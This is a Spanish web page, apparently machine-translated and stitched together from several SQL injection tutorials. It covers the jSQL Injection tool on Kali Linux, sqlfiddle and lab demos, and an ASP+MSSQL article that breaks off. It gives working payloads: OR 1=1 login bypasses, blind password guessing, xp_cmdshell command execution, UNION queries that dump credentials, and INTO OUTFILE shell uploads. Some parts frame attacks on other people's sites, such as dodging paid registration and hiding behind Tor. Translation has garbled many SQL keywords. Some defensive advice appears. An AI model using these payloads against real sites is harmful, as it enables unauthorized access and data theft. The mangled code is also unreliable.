Programa para inyecciones sql. Instrucciones para usar jSQL Inyección, una herramienta multifuncional para encontrar y explotar inyecciones SQL en Kali Linux. Cómo obtener los resultados de mi consulta SQL

💖 ¿Te gusta? Comparte el enlace con tus amigos.

Ejecute el archivo descargado haciendo doble clic (es necesario tener máquina virtual ).

3. Anonimato al comprobar un sitio en busca de inyección SQL

Configurando Tor y Privoxy en Kali Linux

[Sección en desarrollo]

Configurar Tor y Privoxy en Windows

[Sección en desarrollo]

Configuración de proxy en inyección jSQL

[Sección en desarrollo]

4. Verificar el sitio en busca de inyección SQL con inyección jSQL

Trabajar con el programa es extremadamente sencillo. Simplemente ingrese la dirección del sitio web y presione ENTER.

La siguiente captura de pantalla muestra que el sitio es vulnerable a tres tipos de inyecciones SQL (la información sobre ellas se indica en la esquina inferior derecha). Al hacer clic en los nombres de las inyecciones puede cambiar el método utilizado:

Además, ya se nos han mostrado las bases de datos existentes.

Puede ver el contenido de cada tabla:

Normalmente, lo más interesante de las tablas son las credenciales de administrador.

Si tiene suerte y encuentra los datos del administrador, es demasiado pronto para alegrarse. Aún necesitas encontrar el panel de administración donde ingresar estos datos.

5. Busque paneles de administración con inyección jSQL

Para hacer esto, vaya a la siguiente pestaña. Aquí somos recibidos con una lista de posibles direcciones. Puede seleccionar una o más páginas para verificar:

La conveniencia radica en el hecho de que no es necesario utilizar otros programas.

Desafortunadamente, no hay muchos programadores descuidados que almacenen contraseñas en texto claro. Muy a menudo en la línea de contraseña vemos algo como

8743b52063cd84097a65d1633f5c74f5

Esto es un hachís. Puedes descifrarlo usando fuerza bruta. Y... la inyección jSQL tiene una fuerza bruta incorporada.

6. Hashes de fuerza bruta mediante inyección jSQL

La indudable comodidad es que no es necesario buscar otros programas. Hay soporte para muchos de los hashes más populares.

Esta no es la mejor opción. Para convertirse en un gurú en la decodificación de hashes, se recomienda el Libro "" en ruso.

Pero, por supuesto, cuando no hay otro programa a mano o no hay tiempo para estudiar, JSQL Inyección con su función de fuerza bruta incorporada te resultará muy útil.

Hay configuraciones: puede establecer qué caracteres se incluyen en la contraseña y el rango de longitud de la contraseña.

7. Operaciones de archivos después de detectar inyecciones SQL

Además de las operaciones con bases de datos (leerlas y modificarlas), si se detectan inyecciones de SQL, se pueden realizar las siguientes operaciones con archivos:

  • leer archivos en el servidor
  • subir nuevos archivos al servidor
  • subiendo shells al servidor

¡Y todo esto se implementa en jSQL Inyección!

Existen restricciones: el servidor SQL debe tener privilegios de archivo. Los administradores de sistemas razonables los tienen deshabilitados y tienen acceso a sistema de archivos no podrá conseguirlo.

La presencia de privilegios de archivos es bastante sencilla de comprobar. Vaya a una de las pestañas (leer archivos, crear un shell, cargar un archivo nuevo) e intente realizar una de las operaciones especificadas.

Otra nota muy importante: necesitamos saber la ruta absoluta exacta al archivo con el que trabajaremos; de lo contrario, nada funcionará.

Mire la siguiente captura de pantalla:

Ante cualquier intento de operar sobre un archivo, recibimos la siguiente respuesta: Sin privilegio de ARCHIVO(sin privilegios de archivo). Y aquí no se puede hacer nada.

Si en cambio tienes otro error:

Problema al escribir en [nombre_directorio]

Esto significa que especificó incorrectamente la ruta absoluta donde desea escribir el archivo.

Para adivinar una ruta absoluta, al menos necesitas saber Sistema operativo en el que se ejecuta el servidor. Para hacer esto, cambie a la pestaña Red.

Tal registro (línea Win64) nos da motivos para suponer que estamos tratando con el sistema operativo Windows:

Keep-Alive: tiempo de espera = 5, máx = 99 Servidor: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Conexión: Keep-Alive Método: HTTP/1.1 200 OK Longitud del contenido: 353 Fecha: viernes, 11 de diciembre de 2015 11:48:31 GMT X-Desarrollado por: PHP/7.0.0RC6 Tipo de contenido: texto/html; juego de caracteres = UTF-8

Aquí tenemos algo de Unix (*BSD, Linux):

Codificación de transferencia: fragmentada Fecha: viernes, 11 de diciembre de 2015 11:57:02 GMT Método: HTTP/1.1 200 OK Mantener vivo: tiempo de espera = 3, máximo = 100 Conexión: mantener vivo Tipo de contenido: texto/html X- Desarrollado por: PHP/5.3.29 Servidor: Apache/2.2.31 (Unix)

Y aquí tenemos CentOS:

Método: HTTP/1.1 200 OK Vence: jueves, 19 de noviembre de 1981 08:52:00 GMT Configurar cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; ruta=/ Conexión: keep-alive X-Cache-Lookup: MISS de t1.hoster.ru:6666 Servidor: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS de t1.hoster.ru Control de caché: sin almacenamiento, sin caché, debe revalidar, verificación posterior = 0, verificación previa = 0 Pragma: sin caché Fecha: viernes, 11 de diciembre de 2015 12:08:54 GMT Codificación de transferencia: fragmentado Tipo de contenido: texto/html; juego de caracteres=WINDOWS-1251

En Windows, una carpeta típica para sitios es C:\Servidor\datos\htdocs\. Pero, de hecho, si alguien "pensó" en crear un servidor en Windows, entonces, muy probablemente, esa persona no ha oído nada sobre los privilegios. Por lo tanto, deberías empezar a intentarlo directamente desde el directorio C:/Windows/:

Como puedes ver, todo salió bien la primera vez.

Pero los propios shells de inyección jSQL me plantean dudas. Si tiene privilegios de archivos, puede cargar algo fácilmente con una interfaz web.

8. Comprobación masiva de sitios en busca de inyecciones de SQL

E incluso esta función está disponible en jSQL injection. Todo es extremadamente simple: descargue una lista de sitios (puede importarlos desde un archivo), seleccione aquellos que desea verificar y haga clic en el botón correspondiente para iniciar la operación.

Conclusión de la inyección jSQL

jSQL Inyección es una herramienta buena y poderosa para buscar y luego usar inyecciones SQL que se encuentran en sitios web. Sus indudables ventajas: facilidad de uso, funciones relacionadas integradas. jSQL Inyección puede ser el mejor amigo de un principiante al analizar sitios web.

Entre las deficiencias, destacaría la imposibilidad de editar bases de datos (al menos yo no encontré esta funcionalidad). Como ocurre con todas las herramientas GUI, una de las desventajas de este programa se puede atribuir a su imposibilidad de utilizarse en scripts. Sin embargo, también es posible cierta automatización en este programa, gracias a la función incorporada de escaneo masivo del sitio.

El programa de inyección jSQL es mucho más conveniente de usar que sqlmap. Pero sqlmap admite más tipos de inyecciones SQL, tiene opciones para trabajar con firewalls de archivos y algunas otras funciones.

En pocas palabras: la inyección jSQL es el mejor amigo de un hacker novato.

Puede encontrar ayuda para este programa en la Enciclopedia Kali Linux en esta página: http://kali.tools/?p=706

La inyección SQL es un ataque que explota declaraciones SQL dinámicas comentando ciertas partes de las declaraciones o agregando una condición que siempre será verdadera. Apunta a agujeros en la arquitectura de aplicaciones web y utiliza sentencias SQL para ejecutar código SQL malicioso:

En este artículo, veremos las técnicas utilizadas en las inyecciones de SQL y cómo proteger las aplicaciones web de dichos ataques.

Cómo funciona la inyección SQL

Los tipos de ataques que se pueden llevar a cabo mediante inyección SQL varían según el tipo de motores de bases de datos afectados. El ataque tiene como objetivo declaraciones SQL dinámicas. Una declaración dinámica es una declaración que se crea en tiempo de ejecución en función de los parámetros de un formulario web o una cadena de consulta URI.

Considere una aplicación web sencilla con un formulario de inicio de sesión. El código del formulario HTML se encuentra a continuación:

  • El formulario acepta una dirección de correo electrónico y luego se envía una contraseña a archivo PHP llamado index.php;
  • La sesión se almacena en una cookie. Esta característica se habilita marcando la bandera recordar_me. El método de publicación se utiliza para enviar datos. Esto significa que los valores no se muestran en la URL.

Supongamos que la solicitud para verificar la ID de usuario en el lado del servidor tiene este aspecto:

  • La solicitud utiliza los valores de la matriz $_POST directamente sin desinfectarlos;
  • La contraseña está cifrada mediante el algoritmo MD5.

Veremos un ataque que utiliza inyección SQL sqlfiddle. Abra la URL http://sqlfiddle.com/ en su navegador. La siguiente ventana aparecerá en la pantalla.

Nota: deberá escribir declaraciones SQL:

Paso 1: Ingresa este código en el panel izquierdo:

CREAR TABLA `usuarios` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `contraseña` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insertar en los usuarios (correo electrónico, contraseña) valores (" [correo electrónico protegido]",md5("abc"));

Paso 2: haz clic en el botón Construir esquema».
Paso 3: ingrese el siguiente código en el panel derecho:

seleccione * de los usuarios;

Paso 4: Haga clic en " Ejecutar SQL" Verá el siguiente resultado:

Supongamos que el usuario proporciona una dirección de correo electrónico. [correo electrónico protegido] y 1234 como contraseña. La consulta que debe ejecutarse en la base de datos podría verse así:

El código de inyección SQL de ejemplo anterior se puede omitir comentando parte de la contraseña y agregando una condición que siempre será verdadera. Supongamos que un atacante inserta los siguientes datos en el campo de dirección de correo electrónico:

[correo electrónico protegido]"O 1 = 1 LÍMITE 1 -- " ]

y xxx en el campo de contraseña.

La declaración dinámica generada se verá así:

  • [correo electrónico protegido] termina con una comilla simple, que termina la cadena;
  • OR 1 = 1 LIMIT 1 es una condición que siempre será verdadera y limita los resultados devueltos a un solo registro.

0; ' AND... es un comentario SQL que excluye la parte de la contraseña.

Copie la consulta anterior y péguela en el cuadro de texto FiddleRun SQL como se muestra a continuación:

Actividad de los piratas informáticos: inyecciones de SQL en aplicaciones web

Tenemos una aplicación web sencilla disponible en http://www.techpanda.org/ que es específicamente vulnerable a ataques de inyección SQL para principiantes con fines de demostración. El código del formulario HTML proporcionado anteriormente se toma de la página de autorización de esta aplicación.

Proporciona seguridad básica, como la desinfección del campo del correo electrónico. Esto significa que el código anterior no se puede utilizar para evitar este mecanismo.

Para evitar esto, puede utilizar el campo de contraseña. El siguiente diagrama muestra los pasos que debe seguir:

Supongamos que el atacante proporciona los siguientes datos:

Paso 1: Ingresar [correo electrónico protegido] como dirección de correo electrónico;
Paso 2: Ingrese xxx’) O 1 = 1 - ];

Hace clic en el botón "Enviar".

Será enviado al panel de administración. La consulta generada se verá así:

El siguiente diagrama muestra cómo se generó la solicitud:

Aquí:

  • La solicitud supone que se utiliza cifrado md5;
  • Se utilizan comillas simples de cierre y paréntesis;
  • Se agrega una condición al operador que siempre será verdadera.

Normalmente, los atacantes intentan utilizar varios métodos diferentes en un ataque de inyección SQL para lograr sus objetivos.

Otros tipos de ataques de inyección SQL

Las inyecciones de SQL pueden causar mucho más daño que iniciar sesión en un sistema sin pasar por el mecanismo de autorización. Algunos de estos ataques pueden:

  • Realizar eliminación de datos;
  • Realizar actualización de datos;
  • Agregar datos;
  • Ejecutar comandos en el servidor que descargará e instalará programas maliciosos;
  • Exportar datos valiosos, como detalles de tarjetas de crédito, al servidor remoto del atacante. Correo electrónico y contraseñas.

La lista anterior no está completa. Simplemente da una idea de los peligros que plantean las inyecciones de SQL.

Herramientas para automatizar inyecciones SQL

En el ejemplo anterior, utilizamos métodos de ataque manuales. Antes de realizar una inyección SQL, es necesario comprender que existen herramientas automatizadas que permiten realizar ataques de manera más eficiente y rápida:

  • SQLSmack;
  • SQLPing 2;
  • Mapa SQL.

Cómo prevenir las inyecciones de SQL

Aquí hay algunas reglas simples para protegerse contra ataques de inyección SQL:

No se debe confiar en la entrada del usuario. Siempre es necesario desinfectarlos antes de utilizar los datos en operaciones SQL dinámicas.

Procedimientos almacenados- Pueden encapsular consultas SQL y procesar todos los datos de entrada como parámetros.

Consultas preparadas- Primero se crean las consultas y luego todos los datos del usuario proporcionados se procesan como parámetros. Esto no afecta la sintaxis de la declaración SQL.

Expresiones regulares- se puede utilizar para detectar código potencialmente malicioso y eliminarlo antes de ejecutar declaraciones SQL.

Derechos de acceso para conectarse a la base de datos.- a proteger contra inyecciones SQL, a las cuentas que se utilizan para conectarse a la base de datos solo se les deben otorgar los derechos de acceso necesarios. Esto ayudará a limitar las acciones que las sentencias SQL pueden realizar en el servidor.

Error de mensajes- no debe revelar información confidencial. Mensajes de error personalizados simples como " Lo sentimos, hubo un error técnico. El equipo de soporte ya ha sido notificado al respecto. Por favor, inténtelo de nuevo más tarde" se puede utilizar en lugar de mostrar las consultas SQL que causaron el error.

Inyección SQL una muy buena oportunidad para que un hacker obtenga
acceso al servidor. Y con un poco de esfuerzo,
todavía lo entiende :)

Codificador dentro

Hoy en día se admite el trabajo con bases de datos.
casi todos los lenguajes de programación, estos incluyen BASIC, C++, Java, PERL, PHP, Assembler e incluso JavaScript. Y estos programas se llaman nada más que DBMS: sistemas de gestión de bases de datos. Las bases de datos se utilizan a menudo para resolver problemas financieros,
contabilidad, organización de personal, pero también han encontrado su aplicación en Internet.

Las bases de datos se utilizan a menudo para escribir aplicaciones WEB. Su uso es más apropiado para almacenar datos de registro de usuarios, identificadores de sesión, organizar búsquedas, así como otras tareas que requieren un mayor procesamiento.
la cantidad de datos. Para acceder a la base de datos se utilizan tecnologías de servidor: PHP, PERL, ASP, etc. Aquí es donde comienza la diversión. Cuando en el servidor
todos los parches están instalados y el firewall bloquea todos los puertos excepto el puerto 80 o cuando se requiere autenticación para acceder a algunos datos, un pirata informático puede usar la inyección SQL para piratear. La esencia de este ataque es explotar un error en la intersección de las tecnologías WEB y SQL. El hecho es que muchas páginas web para procesar datos de usuarios forman un grupo especial SQL solicitud de base de datos. El uso descuidado de esta técnica puede conducir a resultados bastante interesantes...

Inyección SQL

Para explicar el ataque, imaginemos que fue al sitio para descargar una herramienta muy importante y notó con horror que solo un usuario registrado puede hacer esto, y el registro, por supuesto, cuesta dinero :) No quiere regalar tu último dinero ganado, ¡pero no puedes hacerlo sin el programa! Es hora de recordar cómo
acceder a bases de datos SQL. Por ejemplo, verificar su nombre de usuario y contraseña en PHP puede verse así:

$resultado=mysql_db_query($db,"SELECCIONAR * DE $tabla DONDE usuario="$iniciar sesión" Y
pasar="$contraseña"");
$num_rows=mysql_num_rows($resultado);
mysql_close($enlace);
si ($núm_filas!=0)
{
// AUTENTICACIÓN OK
}
demás
{
// ERROR DE AUTENTICACIÓN
}

Agregué dos comentarios, "AUTENTICACIÓN OK"; en su lugar, debería
vaya al código que se ejecutará si la contraseña y el inicio de sesión son correctos. Otro "ERROR DE AUTENTICACIÓN" es un lugar donde se describirá el código que se ejecutará si son incorrectos. Si completa el formulario, la solicitud se verá así: "http://www.server.com?login=user&password=31337", donde www.server.com es el nombre
el servidor al que estamos intentando conectarnos. Encontramos lo que buscábamos y por eso volveremos a trabajar nuevamente. SQL. Entonces, si debe especificar un nombre de usuario y contraseña para la autorización, entonces el generado SQL la solicitud se verá así:

SELECCIONE * DE los usuarios DONDE login="usuario" Y
contraseña="31337"

Esto significa algo como esto: devuélveme todos los registros de la base de datos de usuarios cuyo inicio de sesión sea "usuario" y contraseña sea "31337". Si existe dicho registro, entonces el usuario está registrado, pero si no, entonces no... Pero bajo ciertas circunstancias, todo se puede corregir. Esto se refiere a la situación en la que la aplicación no verifica el contenido de los datos transmitidos o no verifica completamente su presencia. SQL instrucciones. En este ejemplo, se verifican dos campos de inicio de sesión y contraseña, pero si especifica "31337" AND email=" como contraseña [correo electrónico protegido]"(sin comillas dobles), entonces la consulta resultará un poco diferente:

SELECCIONE * DE los usuarios DONDE login="usuario" Y contraseña="31337" Y
correo electrónico=" [correo electrónico protegido]"

Y si el campo de correo electrónico existe, también se comprobará esta condición. Si recuerdas los conceptos básicos del álgebra booleana, te viene a la mente que además de la operación "y", también existe la operación "o", y dado que su uso es compatible con SQL, puedes
de la forma descrita, agregue una condición que siempre devuelva verdadero. Para hacer esto, debe especificar "usuario" O 1=1-- como inicio de sesión, en cuyo caso la solicitud tomará la forma:

SELECCIONE * DE los usuarios DONDE login="usuario" O 1=1--" Y
contraseña="31337"

Primero debes saber que "--" significa el final de la solicitud, y todo lo que sigue a "--"
¡No será procesado! Resulta que hicimos una solicitud:

SELECCIONE * DE usuarios DONDE login="usuario" O 1=1

Como puede ver, agregamos la condición “1=1”, lo que significa que el criterio de verificación será “si el inicio de sesión es “usuario” o 1=1”, pero 1 siempre es igual a 1 (la única excepción puede ser la aritmética de Dani Shepovalov). :)). Para poner a prueba nuestras sospechas
Ingrese "http://www.server.com?login=user o 1=1--&password=31337" en la barra de direcciones. Esto lleva al hecho de que no importa qué inicio de sesión hayamos especificado, sino
¡Especialmente la contraseña! Y estamos en la matriz, en el sistema, y ​​podemos descargar tranquilamente lo que necesitamos.

Pero todo esto es en teoría. En la práctica, no sabemos cómo se genera la solicitud, qué datos se transmiten y en qué secuencia. Por lo tanto, debe especificar "usuario" O 1=1--" para todos los campos. También debe verificar el formulario de envío para ver si hay campos ocultos. En HTML se describen como " ". Si existe alguno, guarde la página y cambie los valores de estos campos. Los valores contenidos en ellos a menudo se olvidan para verificar la presencia de declaraciones SQL. Pero para que todo funcione, debe especificar el archivo completo ruta al script en el formulario (etiqueta "FORMULARIO") para el parámetro "ACCIÓN", que procesa esta solicitud.

Pero no siempre se sabe cómo se forma la solicitud,
El ejemplo anterior podría formarse de las siguientes formas:

SELECCIONE * DE los usuarios DONDE (iniciar sesión="usuario" Y contraseña="31337")
SELECCIONE * DE los usuarios DONDE login="usuario" Y contraseña="31337"
SELECCIONE * DE usuarios DONDE inicio de sesión = usuario Y contraseña = 31337

En este caso, puedes probar las siguientes opciones:

"O 1=1--
"O 1=1--
O 1=1--
" O "a"="a
" O "a"="a
") O ("a"="a
O "1"="1"

Todo depende del propósito del script y del programador. Dado que cada uno tiende a hacer todo a su manera, es muy posible que el programador no elija la opción más sencilla. Por lo tanto, no debe inmediatamente
Ríndete si te rechazan. Necesario
prueba tantas opciones como puedas...

Detección de contraseña

Eludir la autorización no es malo, pero muy a menudo el agujero que estás utilizando se cierra y se pierde todo lo que estaba disponible para ti.
Esto es de esperarse si el programador no es tonto.
Con el tiempo se cerrarán todas las lagunas. Puede deshacerse fácilmente de tales situaciones si se ocupa de ellas con anticipación. La solución correcta puede ser adivinar la contraseña usando
análisis de los resultados de la autenticación. Primero, intentemos adivinar la contraseña, para ello ingrese su ubicación:

"O contraseña>"a

Si nos dicen que se ha pasado la autorización, entonces la contraseña
no comienza con la letra "a", sino con una de las siguientes en la lista. Sigamos adelante y sustituyamos
coloque "a", luego "b", "c", "d", "e"...etc. hasta que nos dicen que la contraseña no es correcta. Deje que este proceso se detenga en el carácter “x”, en este caso se crean dos opciones para el desarrollo de la situación: se encuentra la contraseña o la contraseña comienza con este carácter. Para marcar la primera opción, escriba la ubicación de la contraseña:

"O contraseña="x

y si se acepta la contraseña y se le permite ingresar, ¡entonces adivinó la contraseña! Bueno, no, entonces deberías seleccionar el segundo personaje,
exactamente igual, desde el principio. Comprueba si hay dos caracteres.
Necesito lo mismo. Al final, recibirás una contraseña y buscarás un inicio de sesión de la misma manera :)
Si la contraseña y el inicio de sesión encontrados no le convienen, puede buscar otros. Para hacer esto, debe comenzar a verificar desde el último carácter de la contraseña encontrada. Entonces, si la contraseña era "xxx" es necesario verificar la existencia de la contraseña.
"xxxy":

"O contraseña="xxx

¡Para no perderte más de una opción!

Servidor MS SQL

MS SQL Server suele ser una bendición si no se realiza el filtrado necesario. Usando la vulnerabilidad de inyección SQL puedes ejecutar
comandos en el servidor remoto usando exec master..xp_cmdshell. Pero para usar este diseño
la operación SELECT debe completarse. En SQL, las declaraciones están separadas por punto y coma. Por lo tanto, para conectarse a alguna IP a través de Telnet, debe escribir la contraseña/iniciar sesión:

"; maestro ejecutivo..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server tiene varias características más interesantes que le permiten descubrir los nombres de usuario y contraseñas almacenados en la base de datos. Para hacer esto, la salida del error se redirige a un servidor arbitrario y a través de él
análisis, puede averiguar el nombre de la tabla, los campos y sus tipos. Después de lo cual puedes solicitar

" UNION SELECCIONA EL PRINCIPAL 1 inicio de sesión DE los usuarios--

(iniciar sesión es el nombre del campo que contiene el inicio de sesión y usuarios es el nombre de la tabla,
semicientíficos en el proceso de análisis de errores).

La respuesta podría ser:


Error de sintaxis al convertir el valor nvarchar "admin" to a column of data type int. !}
/default.asp, línea 27

Ahora sabemos que hay un usuario llamado "admin". Ahora podemos obtener su contraseña:

" UNION SELECCIONA LA PRINCIPAL 1 contraseña DE los usuarios donde iniciar sesión="admin"--

Resultado:

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "xxx" to a column of data type int. !}
/tedault.asp, línea 27

Ahora sabemos que hay un usuario "admin" con una contraseña "xxx". Con esto podrás con seguridad
úsalo e inicia sesión en el sistema 😉

Pero existen muchas otras funciones para trabajar con SQL,
Al trabajar con una base de datos, también puedes eliminar datos, modificarlos, insertar los tuyos propios e incluso manipular archivos y trabajar con el registro.
En general, las reglas de SQL Server :)

Proteccion

Pero, por supuesto, todo esto se puede evitar. Para hacer esto puedes
usar filtros,
proporcionada por los fabricantes. Puede encontrar sus propias soluciones, por ejemplo, reemplazando todos los
comillas dobles (si es para SQL Si solicitamos que utilicemos unidades individuales) o viceversa. Sólo puedes permitir el uso de letras y s@baki, si necesitas ingresar
dirección de correo electrónico. Y en la perla hay algo asombroso.
la función 🙂 quote() en el módulo DBI::DBD, que hace que su consulta sea segura con respecto a SQL. Hay muchas soluciones, solo las necesitas
tomar ventaja de. De lo contrario, ¿por qué entonces todo esto...?

Saludos, lector. Últimamente me ha interesado la seguridad web y, hasta cierto punto, mi trabajo está relacionado con esto. Porque Cada vez más comencé a notar temas en varios foros que les pedían que mostraran cómo funciona todo, así que decidí escribir un artículo. El artículo estará dirigido a aquellos que no se han encontrado con esto, pero les gustaría aprender. Hay relativamente muchos artículos sobre este tema en Internet, pero para los principiantes son un poco complicados. Intentaré describir todo en un lenguaje claro y ejemplos detallados.

Prefacio

Para entender este artículo, no necesitas realmente conocimientos del lenguaje SQL, pero sí al menos mucha paciencia y un poco de cerebro para memorizar.

Creo que solo leer el artículo no será suficiente, porque... necesitamos ejemplos vivos; como saben, la práctica en el proceso de memorización nunca es superflua. Por lo tanto, escribiremos scripts vulnerables y nos entrenaremos en ellos.

¿Qué es la inyección SQL?
En términos simples, se trata de un ataque a la base de datos, que le permitirá realizar alguna acción que no fue planeada por el creador del script. Ejemplo de la vida:

El padre le escribió una nota a su madre para que le diera a Vasya 100 rublos y los pusiera sobre la mesa. Reelaborando esto en un lenguaje SQL cómico, obtenemos:
TOMA 100 RUBLOS DE TU BILLETERA Y DÁSELOS A Vasya

Como el padre escribió mal la nota (letra torpe) y la dejó sobre la mesa, Petia, el hermano de Vasya, la vio. Petya, siendo un hacker, añadió "O Pete" allí y el resultado fue la siguiente solicitud:
TOMA 100 RUBLOS DE TU BILLETERA Y DÁSELOS A Vasya O Petya

Mamá, después de leer la nota, decidió que ayer le dio dinero a Vasya y le dio 100 rublos a Petya. Aquí hay un ejemplo simple de inyección SQL de la vida :) Sin filtrar los datos (mamá apenas podía entender la letra), Petya obtuvo ganancias.

Preparación
Para practicar, necesitará un archivo con los scripts fuente de este artículo. Descárgalo y descomprímelo en el servidor. También importe la base de datos y configure los datos en el archivo. cfg.php

Buscar inyección SQL

Como ya entendiste, la inyección proviene de datos entrantes que no están filtrados. El error más común es no filtrar la identificación transmitida. Bueno, en términos generales, ponga comillas en todos los campos. ¡Ya sea una solicitud GET/POST o incluso una cookie!

Parámetro de entrada numérico
Para practicar necesitamos un guión. index1.php. Como dije anteriormente, insertamos comillas en el ID de noticias.

Porque Nuestra solicitud no tiene filtrado:

$identificación = $_GET["identificación"]; $consulta = "SELECCIONAR * DE noticias DONDE id=$id";

El guión entenderá esto como

SELECCIONAR * DE noticias DONDE id=1"

Y nos dará un error:
Advertencia: mysql_fetch_array() espera que el parámetro 1 sea un recurso, booleano dado en C:\WebServ\domains\sqlinj\index1.php en la línea 16

Si el error no aparece, puede haber las siguientes razones:

1.La inyección SQL no está aquí: las comillas se filtran o simplemente vale la pena convertirlas a (En t)
2. La salida de error está deshabilitada.

Si sigue apareciendo un error, ¡hurra! Encontramos el primer tipo de inyección SQL: parámetro de entrada numérico.

Parámetro de entrada de cadena

Enviaremos solicitudes a index2.php. En este archivo, la solicitud se ve así:
$usuario = $_GET["usuario"]; $consulta = "SELECCIONAR * DE noticias DONDE usuario="$usuario"";

Aquí seleccionamos noticias por nombre de usuario y, nuevamente, no filtramos.
Nuevamente enviamos una solicitud con una cotización:

Dio un error. ¡DE ACUERDO! Esto significa que hay una vulnerabilidad. Para empezar, esto es suficiente para nosotros: pongámonos a practicar.

tomemos acción

una pequeña teoría

Probablemente no puedas esperar a sacar algo de esto más que errores. Primero, comprenda que el letrero " -- " se considera un comentario en SQL.

¡ATENCIÓN! Debe haber espacios antes y después. En la URL se transmiten como %20

Todo lo que venga después del comentario será descartado, es decir, la petición:
SELECCIONE * DE noticias DONDE usuario="AlexanderPHP" -- habrahabra

Tendrá éxito. Puedes probar esto en el script index2.php enviando una solicitud como esta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aprende el parámetro UNIÓN. En lenguaje SQL la palabra clave UNIÓN Se utiliza para combinar los resultados de dos consultas SQL en una sola tabla. Es decir, para sacar algo que necesitamos de otra mesa.

aprovechémoslo

Si el parámetro es "Numérico", entonces no necesitamos enviar una cotización en la solicitud y, naturalmente, poner un comentario al final. Volvamos al guión. index1.php.

Pasemos al script sqlinj/index1.php?id=1 UNION SELECT 1. Nuestra consulta de base de datos se ve así:
SELECCIONAR * DE noticias DONDE id=1 UNION SELECT 1
Y nos dio error, porque... para trabajar con consultas combinadas, necesitamos la misma cantidad de campos.

Porque No podemos influir en su número en la primera solicitud, entonces debemos seleccionar su número en la segunda para que sea igual al primero.

Seleccionar el número de campos

Seleccionar campos es muy sencillo, basta con enviar las siguientes solicitudes:
sqlinj/index1.php?id=1 SELECCION UNION 1,2
Error…
sqlinj/index1.php?id=1 SELECCION UNION 1,2,3
¡Error de nuevo!
sqlinj/index1.php?id=1 SELECCION UNION 1,2,3,4,5
¡No hay error! Esto significa que el número de columnas es 5.

AGRUPAR POR
A menudo sucede que puede haber 20, 40 o incluso 60 campos. Para no tener que revisarlos cada vez, usamos AGRUPAR POR

si la solicitud
sqlinj/index1.php?id=1 GRUPO POR 2
no mostró ningún error, lo que significa que el número de campos es más de 2. Intentemos:

Sqlinj/index1.php?id=1 GRUPO POR 8
Op, vemos un error, significa que la cantidad de campos es menor que 8.

Si no hay ningún error con GROUP BY 4, y con GROUP BY 6 hay un error, entonces el número de campos es 5

Definición de columnas de salida
Para que no se nos muestre nada desde la primera solicitud, basta con sustituir un ID inexistente, por ejemplo:

Sqlinj/index1.php?id=-1 SELECCION DE UNIÓN 1,2,3,4,5

Con esta acción, determinamos qué columnas se muestran en la página. Ahora, para reemplazar estos números con la información necesaria, debe continuar con la solicitud.

Salida de datos

Digamos que sabemos que la tabla todavía existe. usuarios en el que existen los campos identificación, nombre Y aprobar.
Necesitamos obtener información sobre el usuario con ID=1

Por lo tanto, construyamos la siguiente consulta:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 DE usuarios DONDE id=1
El guión también continúa publicándose.

Para ello sustituiremos los nombres de los campos en lugar de los números 1 y 3.

Sqlinj/index1.php?id=-1 UNION SELECT nombre,2,contraseña,4,5 DE usuarios DONDE id=1
¡Tenemos lo que necesitábamos!

Para "parámetro de entrada de cadena" como en el script index2.php debe agregar una comilla al principio y un comentario al final. Ejemplo:
sqlinj/index2.php?user=-1" UNION SELECT nombre,2,contraseña,4,5 DE usuarios DONDE id=1 --%20

Leer/escribir archivos

Para leer y escribir archivos, el usuario de la base de datos debe tener derechos FILE_PRIV.
Grabar archivos
De hecho, todo es muy sencillo. Para escribir un archivo, usaremos la función ARCHIVO.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 EN OUTFILE "1.php" --%20
Genial, el archivo ha sido registrado con nosotros. Así, podemos llenar el mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 EN EL ARCHIVO DE SALIDA "1.php" --%20
Leyendo archivos
Leer archivos es incluso más fácil que escribir. Basta con utilizar la función. CARGAR ARCHIVO, para el lugar del campo que seleccionamos:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Así, hemos leído el archivo escrito anterior.

Métodos de protección

Protegerse es incluso más fácil que explotar una vulnerabilidad. Simplemente filtre los datos. Si está pasando números, utilice
$identificación = (int) $_GET["identificación"];
Como sugirió el usuario malroc. Protéjase utilizando DOP o declaraciones preparadas.

en lugar de completar

Aquí es donde quiero terminar mi primera parte sobre “Inyección SQL para principiantes”. En el segundo veremos ejemplos más severos de inyecciones. Intente escribir scripts vulnerables y ejecutar consultas usted mismo.
Y recuerda, no confíes en ningún usuario de tu sitio.

Inyección SQL para principiantes, hackear ASP+MSSQL

Alejandro Antipov

Este artículo no contiene ninguna verdad nueva: la inyección SQL se describe y utiliza ampliamente en todas partes. El artículo está más destinado a principiantes, pero quizás los profesionales puedan encontrar uno o dos trucos nuevos.


Este artículo está destinado a ayudar a los principiantes a lidiar con los problemas que pueden encontrar al utilizar la técnica de inyección SQL, utilizarla con éxito y poder protegerse de dichos ataques.

Introducción

Cuando el servidor de interés solo tiene abierto el puerto 80 y el escáner de vulnerabilidades no puede informar nada interesante y usted sabe que el administrador del sistema siempre instala muy rápidamente todos los parches en el servidor web, nuestra última oportunidad es el pirateo web. La inyección SQL es uno de los tipos de piratería web que utiliza solo el puerto 80 y puede funcionar incluso si los parches se instalan de manera oportuna. Este ataque está más dirigido a aplicaciones web (como ASP, JSP, PHP, CGI, etc.) que directamente al servidor web o a los servicios del sistema operativo.

Este artículo no contiene ninguna verdad nueva: la inyección SQL se describe y utiliza ampliamente en todas partes. El artículo está más destinado a principiantes, pero quizás los profesionales puedan encontrar uno o dos trucos nuevos. También recomiendo consultar los enlaces al final del artículo para obtener información más detallada de expertos en el campo.

1.1 ¿Qué es la inyección SQL?

